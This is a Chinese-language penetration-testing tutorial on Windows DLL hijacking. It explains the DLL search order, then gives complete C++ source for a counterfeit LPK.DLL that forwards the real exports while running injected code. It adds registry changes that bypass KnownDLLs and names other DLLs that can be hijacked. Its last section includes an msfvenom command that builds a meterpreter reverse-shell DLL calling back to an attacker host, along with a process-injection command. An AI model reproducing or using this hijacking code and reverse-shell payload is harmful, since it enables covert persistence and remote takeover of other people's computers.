0x01 什么是DLL
这里看一下百度百科的解释:
DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。
还有一段,我觉得更好理解的。
DLL 是一个包含可由多个程序同时使用的代码和数据的库。例如,在 Windows 操作系统中,Comdlg32 DLL 执行与对话框有关的常见函数。因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于促进代码重用和内存的有效使用。
0x02 动态链接库加载顺序
一、Windows XP SP2之前 Windows查找DLL的目录以及对应的顺序:
进程对应的应用程序所在目录;
当前目录(Current Directory);
系统目录(通过 GetSystemDirectory 获取);
16位系统目录;
Windows目录(通过 GetWindowsDirectory 获取);
PATH环境变量中的各个目录;
例如:对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。
二、在Windows xp sp2之后
Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1
进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
系统目录(即%windir%system32);
16位系统目录(即%windir%system);
Windows目录(即%windir%);
当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
PATH环境变量中的各个目录;
0x03 什么是DLL劫持
根据前面说的Windows资源共享机制,操作系统加载程序首先从应用程序目录中加载模块。这一特性在注册表中也有体现:HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,如果为1,搜索的顺序为:应用程序所在目录->系统目录(用GetSystemDirectory获取)->16位系统目录->Windows目录(用GetWindowsDirectory获取)->运行程序的当前目录->PATH环境变量,如果为0,搜索顺序为:应用程序所在目录->运行程序的当前目录->系统目录(用GetSystemDirectory获取)->16位系统目录->Windows目录(用GetWindowsDirectory获取)->PATH环境变量。Windows Server 2003默认值为1,Windows XP/2000默认值为0或者没有这个键值。但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的DLL。如果这个DLL和系统目录下的某个DLL同名,导出表也相同,功能就是加载系统目录下的那个DLL,并且将导出表转发到那个真实的DLL。这时DLL劫持就发生了。可以看出,构造一个符合上面要求的DLL,再将其放在可执行文件的目录即可轻松实现DLL劫持了。
0x04 DLL劫持的实现
这一步我们的工作就是通过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL。可以看出我们要实现的这个DLL需求如下:
1、构造一个与系统目录下LPK.DLL一样的导出表;
2、加载系统目录下的LPK.DLL;
3、将导出函数转发到系统目录下的LPK.DLL上;
4、在初始化函数中加入我们要执行的代码。
//// LPK.DLL劫持注入源码//// 头文件#include "stdafx.h"#include #include // 导出函数#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")//#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")// 宏定义#define EXTERNC extern "C"#define NAKED __declspec(naked)#define EXPORT __declspec(dllexport)#define ALCPP EXPORT NAKED#define ALSTD EXTERNC EXPORT NAKED void __stdcall#define ALCFAST EXTERNC EXPORT NAKED void __fastcall#define ALCDECL EXTERNC NAKED void __cdecl//LpkEditControl导出的是数组,不是单一的函数(by Backer)EXTERNC void __cdecl AheadLib_LpkEditControl(void);EXTERNC __declspec(dllexport) void(*LpkEditControl[14])() = { AheadLib_LpkEditControl }; //添加全局变量// AheadLib 命名空间namespace AheadLib{ HMODULE m_hModule = NULL; // 原始模块句柄 // 加载原始模块 inline BOOL WINAPI Load(){ TCHAR tzPath[MAX_PATH]; TCHAR tzTemp[MAX_PATH * 2]; GetSystemDirectory(tzPath, MAX_PATH); lstrcat(tzPath, TEXT("\\lpk.dll")); m_hModule = LoadLibrary(tzPath); if (m_hModule == NULL) { wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); }; //MessageBox(NULL, "原始模块加载成功", TEXT("AheadLib"), MB_ICONSTOP); return (m_hModule != NULL); } // 释放原始模块 inline VOID WINAPI Free(){ if (m_hModule) { FreeLibrary(m_hModule); } } // 获取原始函数地址 FARPROC WINAPI GetAddress(PCSTR pszProcName){ FARPROC fpAddress; CHAR szProcName[16]; TCHAR tzTemp[MAX_PATH]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintfA(szProcName, "%d", pszProcName); pszProcName = szProcName; } wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); ExitProcess(-2); } return fpAddress; }}using namespace AheadLib; //函数声明void WINAPIV InitInject(LPVOID pParam);//自己添加功能的函数void WINAPIV InitInject(LPVOID pParam){ //在这里可以添加自己的DLL //LoadLibrary(TEXT(".\\MyDll.dll")); MessageBox(NULL, TEXT("LPK劫持成功"), TEXT("警告"),NULL); return;}// 入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){ if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); if (Load()) { //LpkEditControl这个数组有14个成员,必须将其复制过来 memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52); _beginthread(InitInject, NULL, NULL);//创建新线程实现自己的功能 } else { // MessageBox(NULL, "初始化失败", "123 ERROR", MB_ICONSTOP); return FALSE; } } else if (dwReason == DLL_PROCESS_DETACH) { Free(); } return TRUE;}// 导出函数ALCDECL AheadLib_LpkInitialize(void){ GetAddress("LpkInitialize"); __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkTabbedTextOut(void){ GetAddress("LpkTabbedTextOut"); __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkDllInitialize(void){ GetAddress("LpkDllInitialize"); __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkDrawTextEx(void){ GetAddress("LpkDrawTextEx"); __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkEditControl(void){ GetAddress("LpkEditControl"); __asm jmp DWORD ptr[EAX];//这里的LpkEditControl是数组,eax存的是函数指针}// 导出函数ALCDECL AheadLib_LpkExtTextOut(void){ GetAddress("LpkExtTextOut"); __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkGetCharacterPlacement(void){ GetAddress("LpkGetCharacterPlacement"); __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkGetTextExtentExPoint(void){ GetAddress("LpkGetTextExtentExPoint"); __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkPSMTextOut(void){ GetAddress("LpkPSMTextOut"); __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkUseGDIWidthCache(void){ GetAddress("LpkUseGDIWidthCache"); __asm JMP EAX;}// 导出函数ALCDECL AheadLib_ftsWordBreak(void){ GetAddress("ftsWordBreak"); __asm JMP EAX;}
0x05 实现效果
把伪造的LPK.DLL放在程序同目录下(这样会首先加载我们伪造的DLL)
注:可能需要修改注册表,使得程序从执行文件所在目录加载DLL(修改完可能需要重启)
有些高版本系统和程序已经不能劫持lpk.dll了,这里我用了"黑客反病毒论坛"的FileCleaner2.0.exe程序测试成功!
其他可劫持的dll为:
lpk.dll、winmm.dll、ws2_32.dll、ws2help.dll、version.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll等
XP:
把HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\knowndlls下的lpk项删除掉,重启电脑。
WIN7:
在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager添加一个键值ExcludeFromKnownDlls(多字符串类型),把lpk.dll加进去。如果需要其他DLL请自行加入。
如图:
查看我们伪造的LPK.DLL导出表,与系统原来的一样
运行程序后先加载了我们伪造的LPK.DLL,程序被劫持
从模块列表中也可以看到,既加载了我们伪造的LPK.DLL,也加载了系统的lpk.dll
0x06 DLL劫持的应用
首先使用msfvenom生成dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=5555 -f dll >SciLexer.dll
打开msf,并开启监听:
将生成的dll文件,丢到目标机器中,打开笔记本,也就是notepad.exe程序,输入以下命令:
InjectProc.exe dll_inj joker.dll notepad.exe
发现kali已经得到了目标shell
如果您觉得文章对您有帮助,点下关注不迷路,日常分享渗透测试骚姿势,我们的成长离不开您的陪伴。